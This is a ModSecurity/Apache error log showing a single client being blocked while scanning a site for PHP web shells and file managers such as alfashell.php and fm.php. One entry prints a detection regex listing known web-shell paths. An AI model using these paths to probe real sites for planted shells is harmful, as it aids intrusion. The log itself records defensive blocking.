[Sun Mar 22 18:58:14.918910 2026] [:error] [pid 51363:tid 51434] [client 68.221.64.113:15961] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/in.php"] [unique_id "ab_LRlwa9x6OCTRkhl2CygAAAIY"]
[Sun Mar 22 18:58:15.734153 2026] [:error] [pid 51362:tid 51413] [client 68.221.64.113:40748] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/in.php"] [unique_id "ab_LR8OwPm3DXzTDjUeaRQAAAEw"]
[Sun Mar 22 18:58:16.306529 2026] [:error] [pid 51362:tid 51404] [client 68.221.64.113:45526] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/in.php"] [unique_id "ab_LSMOwPm3DXzTDjUeaRwAAAEM"]
[Sun Mar 22 18:58:16.940378 2026] [:error] [pid 51362:tid 51411] [client 68.221.64.113:19410] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gssdd.php"] [unique_id "ab_LSMOwPm3DXzTDjUeaTQAAAEo"]
[Sun Mar 22 18:58:17.858955 2026] [:error] [pid 51362:tid 51407] [client 68.221.64.113:31753] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gssdd.php"] [unique_id "ab_LScOwPm3DXzTDjUeaUQAAAEY"]
[Sun Mar 22 18:58:18.503456 2026] [:error] [pid 51362:tid 51411] [client 68.221.64.113:27652] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gssdd.php"] [unique_id "ab_LSsOwPm3DXzTDjUeaVgAAAEo"]
[Sun Mar 22 18:58:19.234080 2026] [:error] [pid 30166:tid 30171] [client 68.221.64.113:19406] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gssdd.php"] [unique_id "ab_LS7m4_26jKMD0zy3L0wAAAUE"]
[Sun Mar 22 18:58:19.821807 2026] [:error] [pid 30166:tid 30201] [client 68.221.64.113:16353] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/motu.php"] [unique_id "ab_LS7m4_26jKMD0zy3L1AAAAVg"]
[Sun Mar 22 18:58:20.374789 2026] [:error] [pid 51468:tid 51488] [client 68.221.64.113:12470] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/motu.php"] [unique_id "ab_LTE2TppSvA8W5CBQ85gAAAMw"]
[Sun Mar 22 18:58:21.078440 2026] [:error] [pid 51468:tid 51497] [client 68.221.64.113:15950] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/motu.php"] [unique_id "ab_LTU2TppSvA8W5CBQ86AAAANU"]
[Sun Mar 22 18:58:21.794024 2026] [:error] [pid 51363:tid 51448] [client 68.221.64.113:8693] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/motu.php"] [unique_id "ab_LTVwa9x6OCTRkhl2C8AAAAJI"]
[Sun Mar 22 18:58:22.386485 2026] [:error] [pid 51363:tid 51440] [client 68.221.64.113:9920] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bs1.php"] [unique_id "ab_LTlwa9x6OCTRkhl2C9wAAAIs"]
[Sun Mar 22 18:58:22.986985 2026] [:error] [pid 30166:tid 30198] [client 68.221.64.113:27713] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bs1.php"] [unique_id "ab_LTrm4_26jKMD0zy3L2AAAAVU"]
[Sun Mar 22 18:58:23.782133 2026] [:error] [pid 51363:tid 51443] [client 68.221.64.113:31777] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bs1.php"] [unique_id "ab_LT1wa9x6OCTRkhl2DCAAAAI4"]
[Sun Mar 22 18:58:24.455025 2026] [:error] [pid 51363:tid 51447] [client 68.221.64.113:8680] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bs1.php"] [unique_id "ab_LUFwa9x6OCTRkhl2DEQAAAJE"]
[Sun Mar 22 18:58:25.170489 2026] [:error] [pid 40039:tid 40051] [client 68.221.64.113:31285] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bengi.php"] [unique_id "ab_LUR3aDgUJfBYishmhmAAAAQo"]
[Sun Mar 22 18:58:26.043964 2026] [:error] [pid 30166:tid 30186] [client 68.221.64.113:11260] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bengi.php"] [unique_id "ab_LUrm4_26jKMD0zy3L2QAAAUs"]
[Sun Mar 22 18:58:26.801058 2026] [:error] [pid 51362:tid 51407] [client 68.221.64.113:33644] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bengi.php"] [unique_id "ab_LUsOwPm3DXzTDjUeagwAAAEY"]
[Sun Mar 22 18:58:27.540135 2026] [:error] [pid 40039:tid 40046] [client 68.221.64.113:35766] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bengi.php"] [unique_id "ab_LUx3aDgUJfBYishmhogAAAQU"]
[Sun Mar 22 18:58:28.157732 2026] [:error] [pid 51363:tid 51454] [client 68.221.64.113:9959] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "ab_LVFwa9x6OCTRkhl2DMAAAAJg"]
[Sun Mar 22 18:58:28.754114 2026] [:error] [pid 51363:tid 51444] [client 68.221.64.113:14543] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "ab_LVFwa9x6OCTRkhl2DOQAAAI8"]
[Sun Mar 22 18:58:29.411146 2026] [:error] [pid 51363:tid 51453] [client 68.221.64.113:51356] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "ab_LVVwa9x6OCTRkhl2DQgAAAJc"]
[Sun Mar 22 18:58:30.091425 2026] [:error] [pid 51363:tid 51428] [client 68.221.64.113:35183] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "ab_LVlwa9x6OCTRkhl2DSAAAAIA"]
[Sun Mar 22 18:58:30.809110 2026] [:error] [pid 51362:tid 51418] [client 68.221.64.113:13719] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/axx.php"] [unique_id "ab_LVsOwPm3DXzTDjUeanAAAAFE"]
[Sun Mar 22 18:58:31.456254 2026] [:error] [pid 51363:tid 51433] [client 68.221.64.113:4351] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/axx.php"] [unique_id "ab_LV1wa9x6OCTRkhl2DVAAAAIU"]
[Sun Mar 22 18:58:32.274568 2026] [:error] [pid 51363:tid 51447] [client 68.221.64.113:11996] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/axx.php"] [unique_id "ab_LWFwa9x6OCTRkhl2DWwAAAJE"]
[Sun Mar 22 18:58:33.160333 2026] [:error] [pid 40039:tid 40051] [client 68.221.64.113:13706] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/axx.php"] [unique_id "ab_LWR3aDgUJfBYishmhpgAAAQo"]
[Sun Mar 22 18:58:34.145497 2026] [:error] [pid 51468:tid 51479] [client 68.221.64.113:10133] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfashell.php"] [unique_id "ab_LWk2TppSvA8W5CBQ88AAAAMM"]
[Sun Mar 22 18:58:34.948992 2026] [:error] [pid 30166:tid 30200] [client 68.221.64.113:35190] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfashell.php"] [unique_id "ab_LWrm4_26jKMD0zy3L4gAAAVc"]
[Sun Mar 22 18:58:35.773185 2026] [:error] [pid 30166:tid 30175] [client 68.221.64.113:14323] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfashell.php"] [unique_id "ab_LW7m4_26jKMD0zy3L6gAAAUQ"]
[Sun Mar 22 18:58:36.959963 2026] [:error] [pid 51362:tid 51405] [client 68.221.64.113:9971] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfashell.php"] [unique_id "ab_LXMOwPm3DXzTDjUeawQAAAEQ"]
[Sun Mar 22 18:58:37.567702 2026] [:error] [pid 51362:tid 51419] [client 68.221.64.113:43140] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/re.php"] [unique_id "ab_LXcOwPm3DXzTDjUeaxgAAAFI"]
[Sun Mar 22 18:58:38.212924 2026] [:error] [pid 51362:tid 51409] [client 68.221.64.113:30797] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/re.php"] [unique_id "ab_LXsOwPm3DXzTDjUeazQAAAEg"]
[Sun Mar 22 18:58:39.143507 2026] [:error] [pid 51362:tid 51422] [client 68.221.64.113:12445] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/re.php"] [unique_id "ab_LX8OwPm3DXzTDjUea0wAAAFU"]
[Sun Mar 22 18:58:40.409886 2026] [:error] [pid 51361:tid 51392] [client 68.221.64.113:28746] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/re.php"] [unique_id "ab_LYBXYUsdvKC9YWpXSPAAAABQ"]
[Sun Mar 22 18:58:41.447446 2026] [:error] [pid 40039:tid 40041] [client 68.221.64.113:14285] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fm.php"] [unique_id "ab_LYR3aDgUJfBYishmhrwAAAQA"]
[Sun Mar 22 18:58:43.509886 2026] [:error] [pid 51362:tid 51410] [client 68.221.64.113:4312] [client 68.221.64.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/fm.php"] [unique_id "ab_LY8OwPm3DXzTDjUea8QAAAEk"]
[Sun Mar 22 18:58:58.567083 2026] [:error] [pid 30166:tid 30187] [client 68.221.64.113:10132] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/css.php"] [unique_id "ab_Lcrm4_26jKMD0zy3MGAAAAUw"]
[Sun Mar 22 18:58:59.130415 2026] [:error] [pid 51361:tid 51390] [client 68.221.64.113:23407] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/css.php"] [unique_id "ab_LcxXYUsdvKC9YWpXSSAAAABI"]
[Sun Mar 22 18:58:59.804321 2026] [:error] [pid 51363:tid 51452] [client 68.221.64.113:46735] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/css.php"] [unique_id "ab_Lc1wa9x6OCTRkhl2DvgAAAJY"]
[Sun Mar 22 18:59:01.067127 2026] [:error] [pid 51363:tid 51429] [client 68.221.64.113:23383] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/css.php"] [unique_id "ab_LdVwa9x6OCTRkhl2DxQAAAIE"]
[Sun Mar 22 18:59:02.362528 2026] [:error] [pid 40039:tid 40063] [client 68.221.64.113:46783] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/goat1.php"] [unique_id "ab_Ldh3aDgUJfBYishmhvwAAARY"]
[Sun Mar 22 18:59:03.403363 2026] [:error] [pid 51468:tid 51488] [client 68.221.64.113:13819] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/goat1.php"] [unique_id "ab_Ld02TppSvA8W5CBQ9BAAAAMw"]
[Sun Mar 22 18:59:04.324515 2026] [:error] [pid 30166:tid 30174] [client 68.221.64.113:10434] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/goat1.php"] [unique_id "ab_LeLm4_26jKMD0zy3MJgAAAUM"]
[Sun Mar 22 18:59:05.379958 2026] [:error] [pid 30166:tid 30177] [client 68.221.64.113:46731] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/goat1.php"] [unique_id "ab_Lebm4_26jKMD0zy3MKQAAAUY"]
[Sun Mar 22 18:59:06.537807 2026] [:error] [pid 30166:tid 30175] [client 68.221.64.113:10699] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file21.php"] [unique_id "ab_Lerm4_26jKMD0zy3MMQAAAUQ"]
[Sun Mar 22 18:59:07.352909 2026] [:error] [pid 51363:tid 51448] [client 68.221.64.113:39490] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file21.php"] [unique_id "ab_Le1wa9x6OCTRkhl2DzgAAAJI"]
[Sun Mar 22 18:59:07.966496 2026] [:error] [pid 51361:tid 51397] [client 68.221.64.113:22473] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file21.php"] [unique_id "ab_LexXYUsdvKC9YWpXSTQAAABg"]
[Sun Mar 22 18:59:08.587178 2026] [:error] [pid 30166:tid 30175] [client 68.221.64.113:14076] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file21.php"] [unique_id "ab_LfLm4_26jKMD0zy3MNwAAAUQ"]
[Sun Mar 22 18:59:09.281181 2026] [:error] [pid 40039:tid 40046] [client 68.221.64.113:43217] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class19.php"] [unique_id "ab_LfR3aDgUJfBYishmhyQAAAQU"]
[Sun Mar 22 18:59:09.885279 2026] [:error] [pid 40039:tid 40063] [client 68.221.64.113:52120] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class19.php"] [unique_id "ab_LfR3aDgUJfBYishmhzQAAARY"]
[Sun Mar 22 18:59:10.713168 2026] [:error] [pid 40039:tid 40050] [client 68.221.64.113:23776] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class19.php"] [unique_id "ab_Lfh3aDgUJfBYishmhzwAAAQk"]
[Sun Mar 22 18:59:11.320105 2026] [:error] [pid 51362:tid 51425] [client 68.221.64.113:16299] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class19.php"] [unique_id "ab_Lf8OwPm3DXzTDjUebJQAAAFg"]
[Sun Mar 22 18:59:12.028294 2026] [:error] [pid 40039:tid 40052] [client 68.221.64.113:13764] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2clas.php"] [unique_id "ab_LgB3aDgUJfBYishmh1QAAAQs"]
[Sun Mar 22 18:59:12.652985 2026] [:error] [pid 51362:tid 51421] [client 68.221.64.113:23382] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2clas.php"] [unique_id "ab_LgMOwPm3DXzTDjUebKQAAAFQ"]
